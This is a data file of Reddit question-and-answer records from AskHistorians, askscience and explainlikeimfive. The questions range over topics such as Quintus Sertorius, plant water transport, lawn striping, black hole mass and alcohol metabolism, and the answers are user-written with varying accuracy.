{"q_id": "18z91d", "title": "In reality, how much of a threat did Quintus Sertorius pose to the Roman Republic?", "selftext": "What was his ultimate goal? Do we know? He proved that he was a brilliant tactician, and for a long time he controlled almost all of Hispania. Did he intend to set up a republic independent from Rome, or was he hoping to become a Sulla-like figure in Rome?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18z91d/in_reality_how_much_of_a_threat_did_quintus/", "answers": {"a_id": ["c8jbuzd", "c8jdzwy", "c8jjlv8"], "score": [3, 6, 5], "text": ["This always happens to these Roman \"revolutionary\" figures: Tiberius and Gaius Gracchus, Catiline, Sulla, Marius, Cinna, Caesar.  It's frankly near impossible to sift through the bias of the primary sources and figure out the genuine motives of these individuals.", "His goal seems to have been to carve out a little state in Spain modeled on the Roman Republic rather than to actually invade and overthrown the Sullan-dominated Rome. It is quite difficult to know this for sure, but at the very least he never made any claims to legitimate rule in Rome and communicated in a very familiar way with the non-Romanized Iberians. Interestingly, he attempted to form a coalition of groups vaguely opposed to Rome, including the Sicilian slave rebels, Cilician pirates and Mithridates of Pontus. This was likely an attempt to relieve the enormous pressure that Rome was bringing to bear on him, and proved ultimately fruitless.", "One of the ways to learn more about Sertorius would be to learn about Marius. Sertorius was loyal to Marius, so he was likely following his agenda. I wonder if anyone has gone though the trouble of looking at the men who joined Sertorius and seeing where they line up on the political spectrum (a la Syme's *Roman Revolution*). I suspect it is nearly impossible because Plutarch is basically the only source for this period. \n\nI don't know whether Sertorius's war was personal or ideological. He might have been fighting because he had a grudge against Sulla, or he might have been fighting because he was against Sulla's politics. I find the second more likely although ancient authors usually go for the personal approach in their narratives. Sulla was murdering Roman citizens and took away the powers of the tribunes. Denigrating the tribunes was Caesar's excuse for going to war against Rome (*De Bello Civili* 1.7), so the tribunes were definitely a hot-button issue to Marian types. I have no clue what Sertorius hoped to accomplish, but I am inclined to agree with Tiako.\n\nEDIT: Totally forgot my username was qsertorius!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "uvut7", "title": "How much water is pumped in a day by a leaf of grass? ", "selftext": "Edit: Go easy on words, please...'pumped' is probably too strict. I am looking for the volume of water *processed* by a blade of grass in a day, just because I think it would be an interesting figure. Evaporation from the leaf is also important  I guess. I was just watching grass on a really hot day and wondering how and why it does not dry up and shrivel in the sun in minutes like my laundry. I live in a dry desert city, and it is the peak of summer. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uvut7/how_much_water_is_pumped_in_a_day_by_a_leaf_of/", "answers": {"a_id": ["c4z14dk", "c4z2unl"], "score": [3, 2], "text": ["I can't answer the question, but plants don't actually pump water up their stem. It's either a result of capillary action in smaller plants, or transpiration of water from the leaves causing water to be drawn up xylem vessels in larger plants (such as trees). It's actually two physical effects that cause the movement of water through plants, which could  be (and often is)easily replicated using non-living material.", "Plants have small holes in them called stomata, plants can open or close these holes to allow air in to let them photosynthesise. By combining the carbon dioxide from the air with water to create glucose they create food to live off. However they lose a lot of water during this process as it can evapourate and diffuse out of the stoma. To combat this loss plants close their stoma to keep water in. \n\nNow depending on the weather, the type of grass and the osmotic gradient through the grass your amount of water \"pumped\" to the leaf would be extrememly variable. Unfortunately I haven't studied enough about grass and osmotic gradients to be able to give you a figure for a scenario. Does anyone have some expertise in capillery action and osmotic gradients?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "13x1wo", "title": "Would a neutrally buoyant sphere coated in an superhydrophobic substance sink or float in water?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13x1wo/would_a_neutrally_buoyant_sphere_coated_in_an/", "answers": {"a_id": ["c77xdqk"], "score": [15], "text": ["Simply due to its neutral buoyancy, if you were to fully submerge it in water, it wouldn't sink or float, it'd stay put.\n\nIf you placed it on top of water, then it'd float, much like how [water striders](_URL_0_) stay afloat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Gerridae#Nature_of_the_ability_to_walk_on_water"]]}
{"q_id": "usra7", "title": "When you are born, is what you end up looking like inevitable? ", "selftext": "Well I know the sun can tan you, give you freckles/spots but are there no other factors? Is it 100% genes?\nYou can also gain weight, look tired from lack of sleep etc. But eventually you could go back to what you looked like before with those factors.\n\nAre there any factors that can change you permanently?\n\nIs how you end up looking (naturally, without plastic surgery) set in stone? \n\nExcluding deliberate neck elongation, ear holes etc. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/usra7/when_you_are_born_is_what_you_end_up_looking_like/", "answers": {"a_id": ["c4y7gzw"], "score": [3], "text": ["Yes. However, there's also epigenetics that can account for some subtle differences in appearances in identical twins. Here's a [decent video](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=Xjq5eEslJhw"]]}
{"q_id": "3h3xq2", "title": "eli5:what does e i e io means in old mcd song?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h3xq2/eli5eli5what_does_e_i_e_io_means_in_old_mcd_song/", "answers": {"a_id": ["cu44v5l"], "score": [309], "text": ["Believe it or not, about 100 years ago it wasn't Old McDonald, but Old Macdougal, and he lived in Ohio -- or, as the song originally had it, \"Ohio-i-o\". The song originally went:\n\nOld Macdougal had a farm  \nIn Ohio-i-o;  \nAnd on that farm he had some [insert animal here]  \nIn Ohio-i-o.\n\nSo really, it was \"Ohio\", with the last two syllables repeated because this is a children's song. As the song was passed down from generation to generation, it was misheard slightly by some children. One of the misheard versions started spreading, and became so popular that it actually ousted the original version. The phrase \"in Ohio-i-o\" became the nonsense doggerel \"E-I-E-I-O\".\n\nLyrics that are misheard in this way are called \"mondegreens\", after a line in a Scottish ballad called *The Bonnie Earl o' Moray*: \"They hae slain the Earl o' Moray / And layd him on the green\" was misheard as \"They hae slain the Earl o' Moray / And Lady Mondegreen\" by an American writer when she was a girl.\n\nAnother example of a mondegreen is the line in the song *The Twelve Days of Christmas*: on the fourth day my true love originally sent to me not, as we all know it, four calling birds, but four colly birds -- \"colly\" being an old word for \"black\".\n\nEDIT: Spelling. Also, cc /u/buried_treasure because it's good to know that sometimes \"just nonsense\" has a history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3bdwmb", "title": "how was commodore not able to survive, given they had amiga and such a superior machine?", "selftext": "I keep reading how awesome and advance Amigas computers were, yet, somehow, Commodore was not able to survive by having them.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bdwmb/eli5_how_was_commodore_not_able_to_survive_given/", "answers": {"a_id": ["cslaayk", "cslc2nr"], "score": [2, 2], "text": ["Because they weren't superior to the next generation of IBM compatible PCs running MS-DOS with a VGA card and Sound Blaster. Nor were they superior to the next generation of gaming consoles, the Sega Genesis or SNES. You need to stay ahead of the game.", "Complete lack of advertising. They depended on word of mouth and goodwill from the C-64 success to sell their new computer. You can't do that and survive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8aatjg", "title": "If the Great Pacific Garbage Patch is almost the size of France, why doesn't it show up on google earth?", "selftext": "Some articles I read said this garbage patch is located in between California and Hawaii. I have also read it is the size of Texas and nearing the size of France. So shouldn't something so big show up on maps such as google earth?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8aatjg/if_the_great_pacific_garbage_patch_is_almost_the/", "answers": {"a_id": ["dwx6474", "dwx7d3w", "dwxp9x6"], "score": [78, 30, 22], "text": ["This isn't a literal pile floating out in the ocean like a continent of shame, it's a vast area where the ocean currents direct small pieces of plastic to congregate. I've seen some videos where you could scoup up debris with a butterfly net and have barely a handful, but if you think about it, that's still really bad", "Density of the garbage is not high enough. While the patch may be the size of Texas, that doesn't mean its a solid mass of garbage covering the sea surface. [Recent reports of density](_URL_0_) sound frighting;  \"more than a thousand items that appeared to be more than a half a meter in size over the course of 2.5 hours\". Until you stop to really think about that. 1000 items at half a meter. If each one is a half meter square that is only covering 500 square meters of space. Or 0.0005 square km.\n\nHow many square meters of ocean surface did an airplane traveling at over 350 mph (563kph) observe in 2.5 hours?  875 miles of distance (1408 km). At 6000 m a C-130 can see [276 km](_URL_1_). So a box 552 km wide by 1960 km long (the plane can see 276 km behind and ahead of its starting and ending position) is 1,081,920 square km.  Of that 0.0005 square km is covered with trash. You can play with the numbers arguing plane speed and distance observed etc.\n\nCan you really see a half meter object at 276 miles away on the ocean? Probably not. Are there smaller objects? Sure. Both become even harder to see from space. The end result is there is nothing to see but ocean particularly from space.", "To add to the garbage density reason, most of the Google Earth views of ocean areas aren't photographs of the surface.  They are synthetic reconstructions of the ocean floor from underwater surveys.  That's why you can see the topographical features.\n\nZoom in to an area such that no land is present anywhere onscreen and the attribution line is simply \"Data SIO, NOAA, US Navy, NGA, NEBCO\"  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.csmonitor.com/Environment/2016/1005/Great-Pacific-Garbage-Patch-is-denser-than-previously-thought", "http://www.ringbell.co.uk/info/hdist.htm"], []]}
{"q_id": "45vidz", "title": "No information can travel faster than c, so no event inside an event horizon can have any causal effect on the external universe. How then do external objects \"know\" the mass of a black hole? Is that information somehow accumulated at/outside the event horizon over the life of the black hole?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/45vidz/no_information_can_travel_faster_than_c_so_no/", "answers": {"a_id": ["d00l0do"], "score": [20], "text": ["The information is encoded in the gravitational field which extends all the way through infinity.\n\nI'll explain it with charge because it's more immediate, but it's roughly the same with mass.\n\nSay you have an electron outside and far from the black hole. This electron has a charge and field lines extending out to infinity. We can imagine a very large sphere surrounding both the black hole and the electron. Computing the total flux of the electric field through the sphere (\"counting field lines that reach infinity\") gives the total charge inside; this is Gauss' theorem. This charge must always, always be conserved. Nothing in the Universe can change this.\n\nWe lower the electron in the black hole. The field lines can distort, but they must still reach to infinity. There's nothing we can do by moving our puny electron that can change this very global fact about the behaviour of the field at infinity. As the electron crosses the horizon, we don't know/care what has happened to it, but we are sure there still is the same number of field lines, now emanating from the horizon, extending all the way to infinity. The total charge has not changed, and the black hole is now charged.\n\nThere is no need for the charge information to get out. Sure, if the electron wiggles inside the horizon, the *radiation* it emits cannot get out. But the Coulomb field is a bit different from radiation, and retains itself the information about the total charge. Charge can actually be seen as a geometrical property or even a topological invariant of the electromagnetic field itself - it has a sort of nonlocal nature. You can measure it even though you're far away and have no causal contact with the stuff that has the charge, you just need to scan a surface enclosing it.\n\nIn suitable situation and with smart definitions, mass in general relativity works in a very similar way.\n\nAn aside: obviously you cannot communicate from inside to outside the horizon using the information of the total mass/charge... because those things cannot be changed, since they are strictly conserved (superconserved is the actual term). Everything fits together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bti6vp", "title": "why/how does a lawnmower create alternating colored stripes of grass?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bti6vp/eli5_whyhow_does_a_lawnmower_create_alternating/", "answers": {"a_id": ["eoy7bua", "eoy7g82", "eoyb4yj"], "score": [5, 3, 3], "text": ["As the mower goes over the grass it lays it down facing the direction of travel. If you go down and back you will get blades of grass pointed at you and away from you, this makes the stripes.\n\nSide note, for professional fields they have striping kits with rollers to make the grass lay uniform to give you that professional \u2018white and green\u2019 look.", "It lays the grass over in the direction you're heading.  so you're looking at a bunch of grass leaning away from you on one pass, then the grass leaning back toward you on the next. (as you've turned the mower around to cut in the other direction) \n\nLooking at the leaning away grass nets you a view of the side, which reflects light, looking at the grass leaning toward you nets you a view down into the grass leaves, which is darker.", " The direction that the grass is bent determines the \"light\" or \"dark\"  colored stripe.  When the blades of grass are bent away from you, the  grass appears lighter in color because the light is reflecting off of  the wide, lengthy part of the blade.  When the blades of grass are bent  towards you, the grass appears darker as you are looking more of the  tips of the blades (a smaller reflective surface) and the shadows under  the grass.  So cutting a lawn in an opposing pattern (up/down,  right/left, north/south, east/west etc) provides the most contrasting  stripe effect.  Interestingly, as the \"color\" of the stripe is dependant  upon what direction you are looking at it from, a \"light\" colored  stripe will appear \"dark\" if you view it from the opposing direction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4mu2mx", "title": "why is overwatched so hyped up? it seems to be just a reskin of tf2.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mu2mx/eli5_why_is_overwatched_so_hyped_up_it_seems_to/", "answers": {"a_id": ["d3yacsp", "d3yafb8", "d3yalzl", "d3yaqh2", "d3ycn5n", "d3ycrdy"], "score": [11, 6, 4, 18, 2, 3], "text": ["It's a Blizzard game.\n\nWhen was the last time Blizzard did *anything* without a massive hype-train?\n\nI mean, it's also pretty fun and looks really good.", "Its far from a reskin. Overwatch is its own. Its refreshing and fun, and I'm sure once they release competitive it'll be even more fun. ", "Another person has already pointed out: Blizzard.\n\nBut, a big part of it is the fact that they have made several Disney/Pixar quality short videos that really established the lore behind it while making developing the character's their characters. I mean, I hate shooters and even I was hyped while seeing all those trailers! \n\nNext to that, Team Fortress 2 has been around for 9 years now. It was still popular, yeah, because nothing of the same quality had come up yet. This is actually really innovating.\n\nIf they bring out an animated series, or just a movie, I would watch it as soon as I could.\n\nEdit: I did say it was innovating but didn't say why: There are more characters, more play styles, really awesome abilities and it's really colourful.", "Overwatch has hype because it has a big marketing budget. However it is far from a reskinned TF2, unless you consider a team-based FPS with different character classes to be \"TF2\" in which case you need to pull your head out of your bum.\n\nThe hype is supported by a very solid gaming fan base stemming from well-tenured concepts of competitive team FPS and MOBA skill structures. They took peanut butter and chocolate of the gaming world and mashed them together with a massive budget and a huge amount of polish.", "Well, for a regular gamer the game had massive marketing and Blizzard is extremely good at that. Look at the animated shorts that they released, they were amazing in both story and quality.  \n  \nFor a Blizzard fan, this is the remnants of Titan; Blizzard's next MMO that we were all looking forward to and it got scrapped.  \n  \nOther than that, the game is completely different from anything else out there. It has way more depth than TF2, more play styles, different classes, maps that have a hundred different routes to go through, etc etc. It is extremely polished, plays flawlessly, and has a wide enough range of characters that all feel completely different from each other. No matter what skill level you are at, there is somebody that you can play and actually feel like you are impacting the game.", "Mostly because Blizzard is known for the quality of their games, massive advertising budget, and it's a pretty damn good game.\n\nIt doesn't play like TF2. It definitely takes inspiration from it but the variety of heroes makes for a very different game."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "ajeqei", "title": "why are dentists separate practices when radiologists etc aren't?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajeqei/eli5_why_are_dentists_separate_practices_when/", "answers": {"a_id": ["eeuw782", "eeuwcv5", "eeuxjbg", "eeuyqko"], "score": [7, 16, 3, 2], "text": ["Some hospitals do have dentists attached for emergency situations.\n\nBut generally you aren't going to need dentist work that can't wait while in a hospital, so there's no reason for them to have a bunch of full-time dentists working.", "Part of it is Dentists have less government oversight than other specialists, and bringing them into hospitals means a lot more paperwork.\n\nAnother reason is that dentistry is such an old specialization of medicine that dentists were already established with  techniques and practices before modern hospitals became common.", "The simple explanation is that that you can operate the separately and there is less need for common thins in a hospital or need from different  specialties so you can have them separate.\n\nDentistry is planed non emergency stuff but thing that radiologists do like X-rays, computed tomography (CT), magnetic resonance imaging (MRI) are used in emergence so you need them in the hospital\n\nThe same way plastic surgery can be done in separate practices.", "Because dentists can expose and interpret their own radiographs. Most other specialities order the films from another provider because they don\u2019t have the equipment themselves. Sometimes the data needs professional interpretation as well by the radiologist.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "18gpo6", "title": "Is there any correlation between religiosity and educational performance? ", "selftext": "I just read [this](_URL_0_) article on Yahoo! and noticed that the most religious states are generally the worst performing in educational standards, while the least religious states are typically the best. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18gpo6/is_there_any_correlation_between_religiosity_and/", "answers": {"a_id": ["c8enh6k", "c8eo0lp"], "score": [3, 4], "text": ["One thing to keep in mind is the poverty level. Class has been shown to effect test scores more than race, at least in the past few years. I'd be more likely to say that's a large reason before I blame religion.", "It's complicated.\n\nThe best study I found is [this one](_URL_0_), which doesn't give you much of a clear answer, but seems the most impartial. Basically, they found that more educated people are more likely to belong to a church, but denominations with the highest average level of educational achievement have the worst attendance rates (i.e. how often their members actually go to church). This is explained, in the author's eyes, by the fact that educated people seem to have weaker beliefs as a whole, but are more likely to seek out the social aspect of church.\n\nSo, it would seem that more educated people have less intense beliefs, but are more likely to belong to some religion. I guess you could say that it's a mixed bag.\n\nI do want to add that other sources I came across have said different things, but I was put off by what I perceived as the author's biases. This is one of those issues that's really hotly contested, so it's really hard to get impartial observations and research on it. A lot of people pick and choose their data so it produces the conclusion they wanted, so you have to research really carefully on subjects like this.\n\nedit: can never remember how to format links"]}, "title_urls": [], "selftext_urls": ["http://news.yahoo.com/most-religious-us-state-151539552.html"], "answers_urls": [[], ["http://www.economics.harvard.edu/pub/hier/2001/HIER1913.pdf"]]}
{"q_id": "odicz", "title": "the difference between ethics, values, and morals?", "selftext": "Always wanted a clear explanation...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/odicz/eli5_the_difference_between_ethics_values_and/", "answers": {"a_id": ["c3gflig", "c3gfljv", "c3gisqz"], "score": [3, 23, 2], "text": ["As a five year old we first need to check if you understand what we mean by 'right' and 'wrong' - got it? Ok, let's begin....\nDo you know the story of the Tortoise and the Hare? Well if you do, you'll know that the meaning/lesson to take away from the story is that we must not judge people by what they look like on the outside. This is  an example of a moral.  When something is 'moral' we know it is 'right' - it feels right in our tummy!\nEthics or ethical values are often used to mean the same things as morals or being moral, but tends to be used more with particular groups of people. For example, you might be five and your friends are the same age. Your understanding of what ethics means as a child in a middle class (or wealthy) environment may be different than a grown up in a middle class environment eg Why is it wrong for a five year old to not have an early bed time, maybe going to bed at the same time as its parents every night? Similarly your sense of what is ethical as a group of white western five year olds may be different to a similar group of five year olds from a different cultural background.  It may also vary according to other groups you may belong to. Again it is understanding a sense of what is right and wrong in the group that you belong to and may at times words like ethical or moral can both be used to have a very similar meaning. \nHope that helps!\n", "Values are, simply, things that you personally value (of course). They are the bedrock of your beliefs and are often taken as being self-evidently true. For example, your value might be \"Suffering is bad\". \n\nMorals (and moral systems) are guidelines and rules on how a person should behave in certain situations and contexts. These morals are based on what values you have, and morals are essentially your way of behaving in ways which are compatible with your values. For example, if you believe that suffering is bad, and you accept that torturing someone would cause them to suffer, then your morals and moral system would suggest that you should not torture someone.\n\nEthics is the study of morality. It's an area of philosophy that asks why we accept certain values, what it means for something to be \"wrong\" or \"right\", whether it's possible to create an entirely consistent moral system, etc etc. It does get confusing as \"ethics\" is often used in common usage to mean the same thing as morality, e.g. \"I can't do that because it disagrees with my ethics\". But when we look at their technical meanings, they are distinct concepts.\n\n**To put it simply:** your values are the bricks, and your morality is the wall. Ethics is then the study of how to build walls. ", "* Morals - what is right and what is wrong, e.g. \"Murder is wrong\"\n* Ethics - morality applied to specific situations, e.g. \"Is self defense murder?  How about abortion?  Euthanasia?  The death penalty?\"\n* Values - the specific set of morals and ethics a person or group choose to follow"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5isuls", "title": "when a film studio like warner brothers purchased rights to a franchise, what is actually being purchased?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5isuls/eli5_when_a_film_studio_like_warner_brothers/", "answers": {"a_id": ["dbaqdoz", "dbaqiwh"], "score": [12, 3], "text": ["When someone writes a story, they are granted control over it from the day it's written until 70 years after their death. With some limits (for things like reviews, parody, and education), they can sue anyone who uses the story without their permission. When a film studio purchases the rights to a franchise, they are purchasing permission from the author to make a movie with those characters and their stories.", "They are purchasing the exclusive right to make movies about that franchise. Lets say I'm an author and I write an amazing book series that someone would like to make into a movie. By default I own the rights to make a movie about my work because I'm the author. If someone just made a movie about it without my permission it would infringe on my copyright/trademark and I could sue them.\n\nSo a movie studio will come to me, we'll negotiate a deal, and I will grant them the exclusive right to make a movie about my work. They can now make the movie and own the rights to do so for as long as we agreed upon. They could even resell that right to another studio."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "165cbe", "title": "Quantum theorists: What can we take away from this latest delayed-choice contextual measuring experiment?", "selftext": "In a recent [NS article](_URL_0_) an experiment is described that appears to demonstrate that quantum 'particles' can exist as a *blend* of wave and particle, can interact with their environment as such (i.e. they do not have to resolve to one or the other), and can also be measured as such. \n\nFirstly, have I interpreted this correctly?\n\nSecondly, how does this affect our world-model? Assuming this is repeatable etc. it seems that our current understanding of wave-particle 'duality' is fundamentally inadequate.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/165cbe/quantum_theorists_what_can_we_take_away_from_this/", "answers": {"a_id": ["c7swkbu", "c7sx2k4"], "score": [2, 2], "text": ["I can't access the paper from home, but what you are describing is how QM has been understood since it's discovery.\n\nThe Heisenberg uncertainty principle basically says that the more particle-y a particle is, the less wave-y it is. When you take a measurement of the position of a particle, the wave function collapses such that the distribution of psi in position space is narrower, and the distribution of psi in momentum space is wider, but it is never perfectly wave or perfectly particle.\n", "On the contrary: these papers confirm the duality. For the umpteenth time, one might add. Wave-particle complementarity has always been known to be continuous transition between wave and particle behavior rather than a case of either-or."]}, "title_urls": [], "selftext_urls": ["http://www.newscientist.com/article/mg21728971.600-quantum-shadows-the-mystery-of-matter-deepens.html?full=true"], "answers_urls": [[], []]}
{"q_id": "2pgs2g", "title": "what does russia's interest rate hike to 17% mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pgs2g/eli5_what_does_russias_interest_rate_hike_to_17/", "answers": {"a_id": ["cmwif3j"], "score": [13], "text": ["They hope to stop the flow of money from russia into foreign currencies. This move is designed to increase interest earned on rubels kept in a russion bank account. If less money leaves for other currencies or more money flows *back* to russia, the exchange rates for the rubel will stabilize (hint: they're in free fall right now).\n\n*However* what the 17% also mean is that Russia is fucked. Intrest rates go up. Creadits become more expensive. Spending and investing money in Russia just became a lot harder. And a decided lack of invested money has plagued Russia even before this move. So in all likelyhood, the Russion economy will tank even harder now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aeu7as", "title": "why does alcohol get processed at a set rate but caffeine decays 50% every 5 hours", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aeu7as/eli5_why_does_alcohol_get_processed_at_a_set_rate/", "answers": {"a_id": ["edsr1wh", "edt2ins", "edt75u7", "edtb7s5", "eduduv1", "edvhf4u", "edvpqoe"], "score": [261, 13, 17, 3, 2, 2, 2], "text": ["Metabolizing different things in your body requires the necessary enzymes to physically come in contact with whatever is being metabolized. Usually this means that if you have more (for example) drug in your body, that means you'll have drug bumping into enzymes at a higher rate. In the same way, after a while and a lot of the drug has already been metabolized by your body, it takes more time for your enzymes to randomly bump into the drug because theres less of it floating around.\n\nWhats different about alcohol is that when you drink, all the enzymes for metabolizing alcohol are WILDLY outnumbered by the alcohol molecules. Theres so much more alcohol than there are enzymes that pretty much every single enzyme is working maxed out. This rate remains constantly at full speed until alcohol levels drop low enough that the enzymes arent completely saturated, which i think is in a range considered sober.", "Is 50% every 5 hours not a set rate?", "Let's say you're an enzyme, and your job is to get rid of either caffeine or alcohol. Sometimes you'll be actually getting rid of those things, but other times you'll be floating around waiting to bump into them.\n\nWhen we drink alcohol, we have lots of those alcohol molecules floating around compared to the enzymes. Imagine you're given a bucket and told to empty a swimming pool, you're gonna work at a pretty **constant rate** because you don't have to spend any time looking for water until it's about all gone. Similarly, when there are so many alcohol molecules in us, they're constantly bouncing into the enzymes, allowing them to work as fast as they can. In chemistry, this is a zero-order reaction if you want to look further into it or find similar ones\n\nWhen we ingest caffeine, there aren't as many caffeine molecules compared to the enzymes that break them down. Imagine you're told to find a dozen needles in a haystack. The more you find, the harder it is to find more because every time you find one, you make it harder to find more. Similarly, the few caffeine molecules are waiting to bump into an enzyme and every time a caffeine molecule is lost, the likelihood goes further down. In this case, **the rate depends on the number of caffeine molecules remaining**. This is a first-order reaction.", "Your body has little guys called enzymes that break stuff down. Drugs break down when a particle of the chemical randomly bumps into the relevant enzyme.\n\nCaffeine: Low concentrations of drug particles and enzymes means that the breakdown speed is limited by how often a drug particle randomly bumps into an enzyme. Therefore the more drug particles present, the more collisions happen, aka rate depends on drug concentration. You get exponential decay as you described.\n\nAlcohol: At levels high enough to intoxicate you, there's WAY more alcohol particles than enzymes. Each enzyme is effectively \"surrounded\" by alcohol, so the limiting factor is not how many collisions there are but how fast the enzymes can physically do the breakdown. With all enzymes working at max speed, the alcohol gets processed at a constant rate (at least until there's so little left that collisions become a factor again).", "These enzymes are in my belly, or on my blood? Because I'd happily take a delicious dose of enzymes to sober myself up/prevent intoxication.", "I'm going to attempt to ELI5, but I feel like that's already been done pretty well so I'm going to get a little more technical than others and assume I'm talking to some very, very sharp 5 year-olds.\n\n & #x200B;\n\nWhen we're being taught about the pharmacokinetics (what your body does to a drug once administered; for more information, google \"ADME pharmacokinetics\") of various psychoactive drugs, in introductory courses it's basically split up into alcohol and then everything else. This is because alcohol is metabolized very differently from pretty much every other psychoactive drug.\n\n & #x200B;\n\nOne key part of alcohol absorption and metabolism is the first-pass effect, whereby a drug (in this case, alcohol) is filtered and eliminated, usually via the liver or intestines, before ever reaching the circulatory system and therefore having essentially no effect. Fun fact: This is why \"butt-chugging\" is so dangerous, as the alcohol administered to the body by this process is not administered orally and as such is absorbed directly into the bloodstream as opposed to first being filtered by the liver. This is why alcohol poisoning is a common occurrence in cases of butt-chugging, due to the fact that \\~2x more alcohol ends up in the circulatory system.\n\n & #x200B;\n\nMoving on, alcohol is mostly metabolized by an enzyme called alcohol dehydrogenase (ADH), which is in limited supply and, depending on the size and gender of the person, can typically neutralize \\~1oz of alcohol per hour. This is a rare case called zero-order metabolism and occurs when the enzyme system is saturated. Note that at low concentrations of blood alcohol, the enzyme will not be saturated and as such zero-order metabolism doesn't quite work in this way, but for most purposes this model is correct.\n\n & #x200B;\n\nOn the other hand, most drugs are eliminated by cytrochromes P450 (CYPs) and follow the half-life rule of metabolism, whereby \\~50% of the drug is consistently eliminated per set amount of time, which differs for each drug. If you were to plot this elimination rate on a logarithmic scale, the graph would be linear. My guess as to how this works is simply that if there is less of the drug in circulation, there is a smaller chance that the CYP enzymes will collide with and metabolize them.\n\n & #x200B;\n\n**Tl;dr: Alcohol's enzyme is in short supply and your body only carries enough to eliminate \\~1oz of alcohol/hr. The enzymes required for metabolizing most other drugs is in relatively high supply and the limiting factor here is efficiency and probability.**", "Alcohol doesn't get processed at a set rate. If it did, you'd have negative alcohol in your blood.  \n\n\nInstead, it decays exponentially like everything else: caffeine, medicines etc. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "4nqz68", "title": "why is there so much hate and negative critique for vice news?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nqz68/eli5_why_is_there_so_much_hate_and_negative/", "answers": {"a_id": ["d464ubf", "d464ycv"], "score": [3, 3], "text": ["Same reason other people viciously attack fox news and CNN. Its a news outlet that disagrees with their personal views", "I think many people might have an outdated view, from when VICE was a bit trashier. They used to run a bunch of lowbrow hipster-bait stories on their site, largely before dedicating themselves to embedded journalism, long form stuff, etc. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "xpvzt", "title": "Questions about the Celts and blue war paint.", "selftext": "It's a big part of pop culture and popular opinion that Celts (especially the Picts) painted themselves blue using a dye from the plant isatis tinctoria (woad).\n\nHowever, [i read](_URL_0_) that there is a lot of problems with this, especially the way Julius Caesar described what the British Celts used to paint themselves: \n\n >  All the British color themselves with glass, which produces a blue color.\n\n >  \"Vitro\" translates to a type of blue-green glass that was popular among the Romans, it does not translate to woad.\n\nI find that strange. Is this essay credible, or is there more to it? I find it weird why people are arguing over this. I mean they're called Picts (painted or tattooed people).", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/xpvzt/questions_about_the_celts_and_blue_war_paint/", "answers": {"a_id": ["c5okkr0"], "score": [11], "text": ["Victoria Finlay's fascinating *Natural History of the Palette* looks into this matter. Pliny wrote that Britons used \"glaustum\" to stain themselves blue (322), but no one knows if this means woad or something else. Woad seed pods dating back 2000 years ago have been unearthed in Britain. To fix the woad so it wouldn't wash away with the first perspiration would present a great challenge; however, an advantage of woad in battle is that it serves as an astringent (323). Santa Barbara tattoo artist Pat Fish experimented with tattooing in woad, but the dye wouldn't take (323-4)."]}, "title_urls": [], "selftext_urls": ["http://www.dunsgathan.net/essays/woad.htm"], "answers_urls": [[]]}
